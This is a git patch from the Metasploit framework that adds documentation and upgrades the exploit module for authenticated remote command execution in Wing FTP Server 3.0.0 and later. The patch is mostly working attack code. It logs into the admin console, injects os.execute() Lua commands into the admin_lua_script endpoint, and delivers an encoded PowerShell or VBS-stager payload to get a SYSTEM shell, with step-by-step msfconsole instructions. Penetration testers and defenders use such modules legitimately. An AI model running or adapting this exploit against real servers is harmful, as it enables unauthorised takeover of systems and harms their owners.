From 83424eae5e8cec8c8a179491b52a6aae5935e891 Mon Sep 17 00:00:00 2001 From: Wei Chen Date: Tue, 5 Mar 2019 12:42:33 -0600 Subject: [PATCH] Land #11077, Improvements and documentation for wing_ftp_admin_exec --- .../windows/ftp/wing_ftp_admin_exec.md | 38 +++++ .../windows/ftp/wing_ftp_admin_exec.rb | 157 +++++++++++++----- 2 files changed, 154 insertions(+), 41 deletions(-) create mode 100644 documentation/modules/exploit/windows/ftp/wing_ftp_admin_exec.md diff --git a/documentation/modules/exploit/windows/ftp/wing_ftp_admin_exec.md b/documentation/modules/exploit/windows/ftp/wing_ftp_admin_exec.md new file mode 100644 index 000000000000..9124ad710f50 --- /dev/null +++ b/documentation/modules/exploit/windows/ftp/wing_ftp_admin_exec.md @@ -0,0 +1,38 @@ +## Description ## + +This module exploits the embedded Lua interpreter in the admin web interface for versions 3.0.0 and above of Wing FTP Server. When supplying a specially crafted HTTP POST request an attacker can use os.execute() to execute arbitrary system commands on the target with SYSTEM privileges. + +Only versions of Wing FTP Server after 3.0.0 ship with the Lua interpreter and the admin web interface. This makes versions < 3.0.0 presumably NOT vulnerable to this exploit, simply due to the fact that they do not have the capability execute commands this way. + +Versions > 4.3.8 handle URL encoding differently compared to versions <= 4.3.8. Encoding the PowerShell payload with base64 allows it to work. CmdStager fails, however, as it cannot simply be base64 encoded like PowerShell. It is recommended to run `check` first before exploiting to get a feel for the vulnerable app. The module has a built-in check to detect `PowerShell` first before continuing with the exploit. It does so by calling `os.getenv()` to get environment variables, then searching for `PowerShell` case-insensitively. It will fall back to using `CmdStager` if `PowerShell` is absent and the version is <= 4.3.8. + +The full changelog for Wing FTP Server can be found at [https://www.wftpserver.com/serverhistory.htm]. + +Information about the admin web interface can be found at [https://www.wftpserver.com/help/ftpserver/index.html?administrator_console.htm]. + +## Vulnerable Application ## + +All versions of Wing FTP Server from 3.0.0 and up are presumed vulnerable. + +Upgraded module has been tested on a Windows Server 2019 Datacenter x64 with the following versions: + +- Wing FTP Server 4.3.8 +- Wing FTP Server 5.1.3 +- Wing FTP Server 6.0.1 +- Wing FTP Server 6.0.2 +- Wing FTP Server 6.0.3 + +Original module was been tested on Windows 7 SP1 and Windows 8.1 with the following versions: + +- Wing FTP Server 4.3.6 +- Wing FTP Server 4.3.8 + +## Verification Steps ## + +- [x] Start `msfconsole` +- [x] `use exploit/windows/ftp/wing_ftp_admin_exec` +- [x] `set RHOST ` +- [x] `set USERNAME ` +- [x] `set PASSWORD ` +- [x] `exploit` +- [x] **Verify** that you get a shell diff --git a/modules/exploits/windows/ftp/wing_ftp_admin_exec.rb b/modules/exploits/windows/ftp/wing_ftp_admin_exec.rb index bb34d95a3505..a87c73ae62e2 100644 --- a/modules/exploits/windows/ftp/wing_ftp_admin_exec.rb +++ b/modules/exploits/windows/ftp/wing_ftp_admin_exec.rb @@ -3,39 +3,44 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +require 'msf/core/exploit/powershell' + class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking + include Msf::Exploit::CmdStager include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Powershell def initialize(info = {}) super(update_info(info, 'Name' => 'Wing FTP Server Authenticated Command Execution', 'Description' => %q{ This module exploits the embedded Lua interpreter in the admin web interface for - versions 4.3.8 and below. When supplying a specially crafted HTTP POST request + versions 3.0.0 and above. When supplying a specially crafted HTTP POST request an attacker can use os.execute() to execute arbitrary system commands on the target with SYSTEM privileges. }, 'Author' => [ - 'Nicholas Nam ' + 'Nicholas Nam ', + 'Imran E. Dawoodjee ' # minor improvements ], 'License' => MSF_LICENSE, 'References' => [ - [ 'URL', 'http://www.wftpserver.com' ] + ['URL', 'http://www.wftpserver.com'], + ['URL', 'https://www.wftpserver.com/help/ftpserver/index.html?administrator_console.htm'] ], 'Arch' => ARCH_X86, 'Platform' => 'win', 'Targets' => [ - [ 'Windows VBS Stager', {} ] + ['Wing FTP Server >= 3.0.0', {}] ], 'Privileged' => true, 'DisclosureDate' => 'Jun 19 2014', - 'DefaultTarget' => 0 - )) + 'DefaultTarget' => 0)) register_options( [ @@ -45,53 +50,119 @@ def initialize(info = {}) ], self.class ) deregister_options('CMDSTAGER::FLAVOR') + deregister_options('CMDSTAGER::DECODER') + deregister_options('URIPATH') + deregister_options('SRVHOST') + deregister_options('SRVPORT') end + @session_cookie = '' + @version = '' + @psh = false + @vuln_check = false + def check - res = send_request_cgi( - { - 'uri' => '/admin_login.html', - 'method' => 'GET' - }) - - if !res - fail_with(Failure::Unreachable, "#{peer} - Admin login page was unreachable.") - elsif res.code != 200 - fail_with(Failure::NotFound, "#{peer} - Admin login page was not found.") - elsif res.body =~ /Wing FTP Server Administrator/ && res.body =~ /2003-2014 wftpserver.com<\/b>/ - return Exploit::CheckCode::Appears + @session_cookie = authenticate(datastore['USERNAME'], datastore['PASSWORD']) + if @session_cookie.nil? + return CheckCode::Unknown + end + + ver = send_request_cgi( + 'uri' => '/admin_license.html', + 'method' => 'POST', + 'cookie' => @session_cookie, + 'ctype' => 'text/plain;charset=UTF-8' + ) + + unless ver + vprint_error("Connection failed!") + return CheckCode::Unknown + end + + unless ver.code == 200 && ver.body.include?('Wing FTP Server') + return CheckCode::Safe + end + + @version = Gem::Version.new(ver.body.scan(/Wing FTP Server ([\d\.]+)/).flatten.first) + print_status("Found Wing FTP Server #{@version}") + + # Lua capabilities and administrator console were added in version 3.0.0, so everything above that is (probably) vulnerable + unless @version >= Gem::Version.new('3.0.0') + @vuln_check = false + return CheckCode::Safe + end + + @vuln_check = true + winenv_path = execute_command("PATH") + + unless winenv_path + vprint_error("Connection failed!") + return CheckCode::Unknown end - Exploit::CheckCode::Safe + if winenv_path.code == 200 + winenv_path.body.split(';').each do |path_val| + if (/powershell/i) =~ path_val + print_good("Found Powershell at #{path_val}") + @psh = true + end + end + else + @psh = false + end + + @vuln_check = false + return CheckCode::Vulnerable end def exploit - username = datastore['USERNAME'] - password = datastore['PASSWORD'] - @session_cookie = authenticate(username, password) + vprint_status("Authenticating...") + unless [CheckCode::Vulnerable].include? check + fail_with(Failure::NotVulnerable, 'Target is most likely not vulnerable!') + end - print_status("Sending payload") - # Execute the cmdstager, max length of the commands is ~1500 - execute_cmdstager(flavor: :vbs, linemax: 1500) + if @psh == true + print_status('Executing payload via PowerShell...') + psh_command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true) + execute_command(psh_command) + else + if @version > Gem::Version.new('4.3.8') + fail_with(Failure::NoTarget, "Version #{@version} detected and PowerShell not found, aborting exploit attempt!") + end + print_warning("PowerShell not found, will revert to CmdStager for payload delivery!") + print_status("Sending payload...") + # Execute the CmdStager, max length of the commands is ~1500 + execute_cmdstager(flavor: :vbs, linemax: 1500) + end end - def execute_command(cmd, _opts = {}) - command = "os.execute('cmd /c #{cmd}')" + def execute_command(cmd,_opts = {}) + # Wrap cmd with [[ ]] to prevent potential problems. + if @vuln_check == true + command = "print(os.getenv([[#{cmd}]]))" + else + command = "os.execute([[#{cmd}]])" + end res = send_request_cgi( - 'uri' => '/admin_lua_script.html', - 'method' => 'POST', - 'cookie' => @session_cookie, - 'vars_post' => { 'command' => command } + 'uri' => '/admin_lua_script.html', + 'method' => 'POST', + 'encode_params' => true, + 'cookie' => @session_cookie, + 'ctype' => 'text/plain;charset=UTF-8', + 'vars_post' => { 'command' => command } ) - if res && res.code != 200 + unless res && res.code == 200 fail_with(Failure::Unknown, "#{peer} - Something went wrong.") end + + if @vuln_check + return res + end end def authenticate(username, password) - print_status("Authenticating") res = send_request_cgi( 'uri' => '/admin_loginok.html', 'method' => 'POST', @@ -104,19 +175,23 @@ def authenticate(username, password) } ) - uidadmin = '' - if !res - fail_with(Failure::Unreachable, "#{peer} - Admin login page was unreachable.") - elsif res.code == 200 && res.body =~ /location='main.html\?lang=english';/ + unless res + print_error("#{peer} - Admin login page was unreachable.") + return nil + end + + if res.code == 200 && res.body =~ /location='main.html\?lang=english';/ res.get_cookies.split(';').each do |cookie| cookie.split(',').each do |value| - uidadmin = value.split('=')[1] if value.split('=')[0] =~ /UIDADMIN/ + if value.split('=')[0] =~ /UIDADMIN/ + vprint_good("Authentication successful, got session cookie #{value.split('=')[1]}") + return res.get_cookies.split(';')[0] + end end end - else - fail_with(Failure::NoAccess, "#{peer} - Authentication failed") end - "UIDADMIN=#{uidadmin}" + print_error("#{peer} - Authentication failed!") + return nil end end